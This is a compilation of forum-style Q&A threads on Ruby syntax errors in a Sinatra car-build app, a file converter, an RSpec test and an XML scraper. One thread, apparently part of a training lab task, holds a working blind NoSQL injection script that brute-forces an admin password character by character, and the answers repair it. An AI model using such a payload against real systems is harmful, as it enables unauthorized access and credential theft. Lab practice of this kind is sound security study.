if you need my to post other info i will!
but i believe this is just syntax?
not sure if it is wrong but i believe its written correctly.
SyntaxError: /Users/cod3/carbuilds/app/controllers/builds_controller.rb:21: syntax error, unexpected else else ^~~~ /Users/cod3/carbuilds/app/controllers/builds_controller.rb:34: syntax error, unexpected end end ^~~ /Users/cod3/carbuilds/app/controllers/builds_controller.rb:94: syntax error, unexpected end-of-input, expecting end
this is my block code where its saying i am having the syntax error but i think its all right ,
correct me if i am wrong
class BuildsController < ApplicationController
get '/builds' do
if logged_in?
#builds = Build.all
erb :'builds/index'
else
erb :'users/login' #locals: {message: "Unable to Continue please login"}
end
end
get "/builds/new" do
redirect_if_not_logged_in
#build = Build.new
erb :"/builds/new"
end
post '/builds' do
redirect_if_not_logged_in
if params.values.any? {|value| value == ""}
erb :'builds/new', #locals: {message: "Unable to Continue!"}
else
user = User.find(session[:user_id])
#build = Build.create(title: params[:title], budget: params[:budget], user_id: params[:user.id])
redirect to "/builds/#{#build.id}"
end
end
get 'builds/:id' do
if logged_in?
#build = Build.find(params[:id])
erb :'builds/show'
else
erb :'users/login', #locals: {message: "Access Denied"}
end
end
get 'builds/:id/edit' do
if logged_in?
#build = Build.find(params[:id])
erb :'builds/edit'
else
erb :'users/login' #locals: {message: "Access Denied"}
end
end
patch '/builds/:id' do
if params.values.any? {|value| value == ""}
#build = Build.find(params[:id])
erb :'builds/edit', locals: {message: "You're missing information"}
redirect to "/builds/#{params[:id]}/edit"
else
#build = Build.find(params[:id])
#build.title = params[:title]
#build.budget = params[:budget]
#build.save
redirect to "/builds/#{#build.id}"
end
end
delete '/builds/:id/delete' do
#build = build.find(params[:id])
if session[:user_id]
#build = Build.find(params[:id])
if #build.user_id == session[:user_id]
#build.delete
redirect to '/builds'
else
redirect to '/builds'
end
else
redirect to '/login'
end
end
private
def set_build
#build = build.find_by_id(params[:id])
if #build.nil?
flash[:error] = "Couldn't find a build with id: #{params[:id]}"
redirect "/builds"
end
end
def redirect_if_not_authorized
redirect_if_not_logged_in
if !authorize_build(#build)
flash[:error] = "You don't have permission to do that action"
redirect "/builds"
end
end
end
end
this is my entire BuildsController file. Im creating a build a CAR BUILD app and it given me these syntax errors. If you have time i'd love to share it all with you so that you can see what i am doing. It is a big project but so far im down to just syntax so thats a good thing.
There's an extra trailing comma in this line:
erb :'users/login', #locals: {message: "Access Denied"}
# ^ here
You probably have one too many closing ends at the end of the file.
You have incorrect block indentation in several places. Fix them, and it will be much easier to catch/avoid these issues altogether. A properly setup editor will even automate indentation formatting for you.
Sure, it is "just" syntax, but the syntax is important, as invalid syntax is unclear. The computer isn't going to guess what your intention was, so it means your code is effectively meaningless.
For example, a math syntax typo makes it impossible to definitively interpret:
(3 + 2 * 5
That expression could possibly mean any of:
(3) + 2 * 5 - possible missing ) location
(3 + 2) * 5 - possible missing ) location
(3 + 2 * 5) - possible missing ) location
3 + 2 * 5 - possible extra (
An example of unclear syntax in English that renders a sentence ambiguous (and thus factually meaningless):
Related
What is the difference between these two lines of Ruby code?
if params.values.any? { |value| value == "" }
and
#post = current_user.posts.build(title: params[:post][:title], content: params[:post][:content])
The contexts in which they are used are as follows, respectively:
post '/builds' do
redirect_if_not_logged_in
if params.values.any? {|value| value == ""}
erb :'builds/new', #locals: {message: "Unable to Continue!"}
else
user = User.find(session[:user_id])
#build = Build.create(title: params[:title], budget: params[:budget], user_id: params[:user.id])
redirect to "/builds/#{#build.id}"
end
end
and
post "/builds" do
redirect_if_not_logged_in
#build = current_user.builds.build(title: params[:post][:title], content: params[:build][:content])
if #build.save
redirect "/builds"
else
erb :"/builds/new.html"
end
end
if params.values.any? {|value| value == ""}
erb :'builds/new', #locals: {message: "Unable to Continue!"}
What you're doing here is returning an error message if any of the parameter values are empty. This can happen if the user didn't fill out one of the form fields on the page.
#post = current_user.posts.build(title: params[:post][:title], content: params[:post][:content])
This creates a new post object using the given parameters. If you didn't have that first code block, this might possibly set one of the values to an empty string ("").
There are other ways to do this (specifically, model-level validations), but hopefully that helps you figure out what's going on here.
im doing one of the tasks to retrieve more information from the NoSQL database using ruby .everytime i run the code im getting syntax error
require 'httparty'
URL="ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get("http://#{URL}/?
search=admin%27%20%26%26%20this.password.match(/#{str}/)%00")
return resp.body =~ />admin</
end
#puts check?("d").inspect
#puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a+('0'..'9').to_a+['-']
password = ""
While true
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password+c
if check?("^#{test}.*$")
password+=c
puts password
break
end
end
end
There is a typo while is a keyword and need to be written in downcase.
require 'httparty'
URL = "ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get(
"http://#{URL}/?search=admin%27%20%26%26%20this.password.match(/#{str}/)%00"
)
return resp.body =~ />admin</
end
# puts check?("d").inspect
# puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a + ('0'..'9').to_a + ['-']
password = ""
while true # `while` needs to be downcase
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password + c
if check?("^#{test}.*$")
password += c
puts password
break
end
end
end
Btw. proper indention and some white improves readability a lot.
Its an issue with httparty gem.
First, install the same. also I made some changes in code.
The code is running but still not getting the result.
I have made below changes :
require 'httparty'
URL=(URI.encode 'myurl')
def check?(str)
resp = HTTParty.get(URI.encode "http://myurl/?search=admin%27%20%26%26%20this.password.match(#/{str}/)%00")
return resp.body =~ />admin
puts check?("5").inspect
puts check?("aaa").inspect
It is recommended to use URI.encode function.
I still trying to get the desired output.
I hope I will get the result.
You can modify the script or let me know if you had success in running the script.
Here is my unfinished code:
#When convert button is pressed
File.rename("*.osz", "*.zip$")
dialog.directory(
def extract_zip(file, destination) FileUtils.mkdir_p(destination)
file_path = "./convert_temp/*.zip"
destination = "./convert_temp/osz/"
extract_zip(file_path, destination)
until File.exists?( ".osu$" ) == false do
File.rename("./convert_temp/osz/*.osu$", "*.txt$")
File.foreach(filename) do |file|
file_string = File.read('./convert_temp/osz/*.txt$')
if file_string.include?('Mode: 1')
puts 'Yes'
else
puts 'No'
end
end
end
Robocop giving the following syntax error:
unexpected token $end (Using Ruby 2.2 parser; configure using `TargetRubyVersion` parameter, under `AllCops`)
Actually, Rubocop is not even able to parse the file, because it has syntax errors.
The error message syntax error: unexpected token $end means that the ruby parser was parsing along happily, but then it suddenly encountered an $end, which is the parser's way to say "the end of the file". It was expecting more code, but instead it found the end of the file.
This is what your code looks like with proper indentation:
#When convert button is pressed
File.rename("*.osz", "*.zip$")
dialog.directory(
def extract_zip(file, destination) FileUtils.mkdir_p(destination)
file_path = "./convert_temp/*.zip"
destination = "./convert_temp/osz/"
extract_zip(file_path, destination)
until File.exists?( ".osu$" ) == false do
File.rename("./convert_temp/osz/*.osu$", "*.txt$")
File.foreach(filename) do |file|
file_string = File.read('./convert_temp/osz/*.txt$')
if file_string.include?('Mode: 1')
puts 'Yes'
else
puts 'No'
end
end
end
Using this kind of indentation makes it easy to see that there are some missing ends/parentheses, because the last line is left hanging in the air instead of closing back to the left edge where it started from.
Additional notes:
dialog.directory(
def extract_zip(file, destination) FileUtils.mkdir_p(destination)
It's very unconventional to define a new method inside a method call. File.open(def hello_world(..)) Doesn't make a lot of sense.
until File.exists?( ".osu$" ) == false do
Are you using $ as a way to indicate "filename ends in .osu"? If yes, it does not work like that. This would look for a file that has .osu$ as name.
File.foreach(filename) do |file|
The file parameter is not used in the block that follows, you use file_string.
file_string = File.read('./convert_temp/osz/*.txt$')
You can't read multiple files at once like that. Also, File.foreach above would read the file line by line, so here you are trying to read it again, inside the loop that is reading it already.
hate to ask this, but i can't for he life of me find this end error, can anyone help> please, thanks.
require_relative 'playlist'
describe playlist do
before do
#playlist = Playlist.new("kermit")
end
context "being played with one movie" do
before do
#initial_rank= 10
#Movie = Movie.new("goonies", #initial_rank)
#playlist.add_movie(#movie)
end
it "give the movie a thumbs up if high number is rolled" do
#playlist.play(5)
#movie.rank.should == #initial_rank + 1
end
it "skips the movie if a medium niumber is rolled" do
#playlist.play(3)
#movie.rank.should == #initial_rank
end
end
end
I ran this piece of code earlier:
require "awesome_print"
require "rexml/document"
require "debugger"
include REXML
class Scrapper
attr_reader :data
def initialize
file = File.new("./cia-1996.xml")
#data = REXML::Document.new(file)
end
def get_country_inflation
inflation_hash = {}
XPath.match( data, "//country").map { |element|
inflation_hash[element.attributes["name"]] = element.attributes["inflation"].to_i}
nested_array = inflation_hash.to_a
sorted_array = nested_array.sort_by {|country, inflation_value| inflation_value}.reverse
puts "The countries with the highest inflation indexes in 1996 were:"
first_five = sorted_array.first(5)
first_five.each do |item|
puts "#{item[0]}, with an inflation index of #{item[1]}"
end
end
end
end
sample = Scrapper.new
sample.get_country_inflation
After making some edits, I now get error message
economics_challenge.rb:36: syntax error, unexpected keyword_end, expecting end-of-input
Can you please give me pointers as to where the mistake/typo might be (been starring at it for a while now and would appreciate feedback from a new set of eyes).
Thank you so much!
Edit:
so I made the changes suggested but I got more error messages:
economics_challenge.rb:26: syntax error, unexpected tSTRING_DEND, expecting keyword_end
economics_challenge.rb:29: syntax error, unexpected tSTRING_DEND, expecting '}'
...flation_value| inflation_value}.reverse
... ^
economics_challenge.rb:35: syntax error, unexpected keyword_end, expecting '}'
economics_challenge.rb:46: syntax error, unexpected end-of-input, expecting '}'
line 26 refers to the 2nd line in the piece of code below: piece of code (and I think this is where the original problem is):
XPath.match( data, "//country").map do |element|
inflation_hash[element.attributes["name"]] = element.attributes["inflation"].to_i}
end
line 29 is:
sorted_array = nested_array.sort_by {|country, inflation_value| inflation_value}.reverse
I will attempt to fix the error in 29 by calling reverse on sorted array and saving that to a variable.
Line 35 is an end statement and there is no line 46.
Any tips?
Thank you!
2nd Edit:
Wow! I cannot believe I failed to realize that I didn't end many things. I will be sticking to the do andend syntax from now on.
Thank you both for helping me out so much … really appreciate it!
The problem is you have one extra end
As #david-grayson states, had your indentations been correct, you may have spotted it.
This of course, is given the code as you presented it here. It may not be exactly that, though the error message matches the found issue.
Here is the code with indentation, some style changes, and no syntax errors:
require 'awesome_print'
require 'rexml/document'
require 'debugger'
include REXML
class Scrapper
attr_reader :data
def initialize
file = File.new('./cia-1996.xml')
#data = REXML::Document.new(file)
end
def get_country_inflation
inflation_hash = {}
XPath.match(data, '//country').map do |element|
inflation_hash[element.attributes['name']] = element.attributes['inflation'].to_i
end
nested_array = inflation_hash.to_a
sorted_array = nested_array.sort_by do |country, inflation_value|
inflation_value
end.reverse
puts 'The countries with the highest inflation indexes in 1996 were:'
first_five = sorted_array.first(5)
first_five.each do |item|
puts "#{item[0]}, with an inflation index of #{item[1]}"
end
end
end
sample = Scrapper.new
sample.get_country_inflation
Your indentation is messed up starting here:
XPath.match( data, "//country").map { |element|
inflation_hash[element.attributes["name"]] = element.attributes["inflation"].to_i}
nested_array = inflation_hash.to_a
The last line of that excerpt should be unindented by one level because the block you passed to "map" was terminated on the second line by the right bracket.
Try fixing that and everything after it.
Also, here is a tip: always write multi-line blocks using do and end and put the end on its own line. Then you could would be:
XPath.match( data, "//country").map do |element|
inflation_hash[element.attributes["name"]] = element.attributes["inflation"].to_i
end
nested_array = inflation_hash.to_a